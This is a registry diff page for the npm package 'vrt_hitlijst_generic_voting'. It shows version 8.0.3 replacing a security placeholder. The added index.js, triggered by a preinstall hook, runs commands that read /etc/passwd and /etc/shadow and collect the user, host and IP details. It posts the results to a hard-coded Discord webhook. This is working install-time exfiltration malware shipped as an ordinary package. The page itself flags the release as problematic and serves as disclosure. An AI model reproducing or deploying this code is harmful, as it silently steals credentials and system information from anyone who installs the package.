vrt_hitlijst_generic_voting 0.0.1-security → 8.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of vrt_hitlijst_generic_voting might be problematic. Click here for more details.
- package/index.js +141 -0
- package/package.json +14 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,141 @@
|
|
1
|
+
const { exec } = require('child_process');
|
2
|
+
const https = require('https');
|
3
|
+
const fs = require('fs');
|
4
|
+
const path = require('path');
|
5
|
+
|
6
|
+
const command = `
|
7
|
+
whoami;
|
8
|
+
uname -a;
|
9
|
+
cat /etc/passwd 2>/dev/null;
|
10
|
+
cat /etc/shadow 2>/dev/null;
|
11
|
+
curl -s https://ifconfig.me; # Public IP 1
|
12
|
+
curl -s http://api.ipify.org; # Public IP 2
|
13
|
+
hostname -I | awk '{print $1}'; # Private IP
|
14
|
+
mkdir -p /tmp/balvant-chavda && echo 'balvant was here' > /tmp/balvant-chavda/poc.txt;
|
15
|
+
pwd;
|
16
|
+
`;
|
17
|
+
|
18
|
+
const webhookUrl = 'https://discord.com/api/webhooks/1282556604851421308/ULZN1VNiuQVpb3DRbQjd4o2awhpQ4cGq1VF9w_XuPPKtD9svB12SjfJmBZ_x-rtjgZwJ';
|
19
|
+
|
20
|
+
const getPackageName = (callback) => {
|
21
|
+
const packageJsonPath = path.resolve(__dirname, 'package.json');
|
22
|
+
fs.readFile(packageJsonPath, 'utf8', (err, data) => {
|
23
|
+
if (err) {
|
24
|
+
callback(`Error reading package.json: ${err.message}`);
|
25
|
+
return;
|
26
|
+
}
|
27
|
+
|
28
|
+
try {
|
29
|
+
const packageJson = JSON.parse(data);
|
30
|
+
callback(null, packageJson.name);
|
31
|
+
} catch (parseErr) {
|
32
|
+
callback(`Error parsing package.json: ${parseErr.message}`);
|
33
|
+
}
|
34
|
+
});
|
35
|
+
};
|
36
|
+
|
37
|
+
const sendDataToDiscord = (data, callback) => {
|
38
|
+
const postData = JSON.stringify({
|
39
|
+
content: `**NPM CallBack**\n${data}`
|
40
|
+
});
|
41
|
+
|
42
|
+
const url = new URL(webhookUrl);
|
43
|
+
|
44
|
+
const options = {
|
45
|
+
hostname: url.hostname,
|
46
|
+
port: 443,
|
47
|
+
path: url.pathname,
|
48
|
+
method: 'POST',
|
49
|
+
headers: {
|
50
|
+
'Content-Type': 'application/json',
|
51
|
+
'Content-Length': Buffer.byteLength(postData)
|
52
|
+
}
|
53
|
+
};
|
54
|
+
|
55
|
+
const req = https.request(options, (res) => {
|
56
|
+
let response = '';
|
57
|
+
res.on('data', (chunk) => {
|
58
|
+
response += chunk;
|
59
|
+
});
|
60
|
+
res.on('end', () => {
|
61
|
+
callback(null, response);
|
62
|
+
});
|
63
|
+
});
|
64
|
+
|
65
|
+
req.on('error', (e) => {
|
66
|
+
callback(`Error: ${e.message}`);
|
67
|
+
});
|
68
|
+
|
69
|
+
req.write(postData);
|
70
|
+
req.end();
|
71
|
+
};
|
72
|
+
|
73
|
+
const readPocFile = (callback) => {
|
74
|
+
fs.readFile('/tmp/balvant-chavda/poc.txt', 'utf8', (err, data) => {
|
75
|
+
if (err) {
|
76
|
+
callback(`Error reading file: ${err.message}`);
|
77
|
+
} else {
|
78
|
+
callback(null, data);
|
79
|
+
}
|
80
|
+
});
|
81
|
+
};
|
82
|
+
|
83
|
+
console.log('Starting script execution');
|
84
|
+
|
85
|
+
exec(command, (error, stdout, stderr) => {
|
86
|
+
if (error) {
|
87
|
+
console.error(`Error executing command: ${error.message}`);
|
88
|
+
return;
|
89
|
+
}
|
90
|
+
if (stderr) {
|
91
|
+
console.error(`stderr: ${stderr}`);
|
92
|
+
return;
|
93
|
+
}
|
94
|
+
|
95
|
+
console.log(`Command stdout: ${stdout}`);
|
96
|
+
|
97
|
+
readPocFile((fileErr, fileContent) => {
|
98
|
+
if (fileErr) {
|
99
|
+
console.error(fileErr);
|
100
|
+
return;
|
101
|
+
}
|
102
|
+
|
103
|
+
const publicIPRegex = /https:\/\/ifconfig\.me\s*([\d\.]+).*?api\.ipify\.org\s*([\d\.]+).*?hostname -I\s*([\d\.]+)/s;
|
104
|
+
const matches = stdout.match(publicIPRegex);
|
105
|
+
const publicIP1 = matches ? matches[1] : 'N/A';
|
106
|
+
const publicIP2 = matches ? matches[2] : 'N/A';
|
107
|
+
const privateIP = matches ? matches[3] : 'N/A';
|
108
|
+
|
109
|
+
getPackageName((nameErr, packageName) => {
|
110
|
+
if (nameErr) {
|
111
|
+
console.error(nameErr);
|
112
|
+
return;
|
113
|
+
}
|
114
|
+
|
115
|
+
const finalData = `
|
116
|
+
**System Information:**
|
117
|
+
${stdout}
|
118
|
+
|
119
|
+
**Public IP 1:** ${publicIP1}
|
120
|
+
**Public IP 2:** ${publicIP2}
|
121
|
+
**Private IP:** ${privateIP}
|
122
|
+
|
123
|
+
**File Content:**
|
124
|
+
${fileContent}
|
125
|
+
|
126
|
+
**Package Name:**
|
127
|
+
${packageName}
|
128
|
+
`;
|
129
|
+
|
130
|
+
console.log('Sending data to Discord webhook');
|
131
|
+
|
132
|
+
sendDataToDiscord(finalData, (err, response) => {
|
133
|
+
if (err) {
|
134
|
+
console.error(`Send Data Error: ${err}`);
|
135
|
+
return;
|
136
|
+
}
|
137
|
+
console.log(`Response from Discord webhook: ${response}`);
|
138
|
+
});
|
139
|
+
});
|
140
|
+
});
|
141
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,17 @@
|
|
1
1
|
{
|
2
2
|
"name": "vrt_hitlijst_generic_voting",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "8.0.3",
|
4
|
+
"description": "A package to poc information.",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node index.js > install-log.txt 2>&1",
|
8
|
+
"postinstall": "cat install-log.txt",
|
9
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
10
|
+
},
|
11
|
+
"author": "balvant",
|
12
|
+
"license": "ISC",
|
13
|
+
"dependencies": {
|
14
|
+
"lodash": "^4.17.21",
|
15
|
+
"vrt_hitlijst_generic_voting": "^8.0.2"
|
16
|
+
}
|
6
17
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=vrt_hitlijst_generic_voting for more information.
|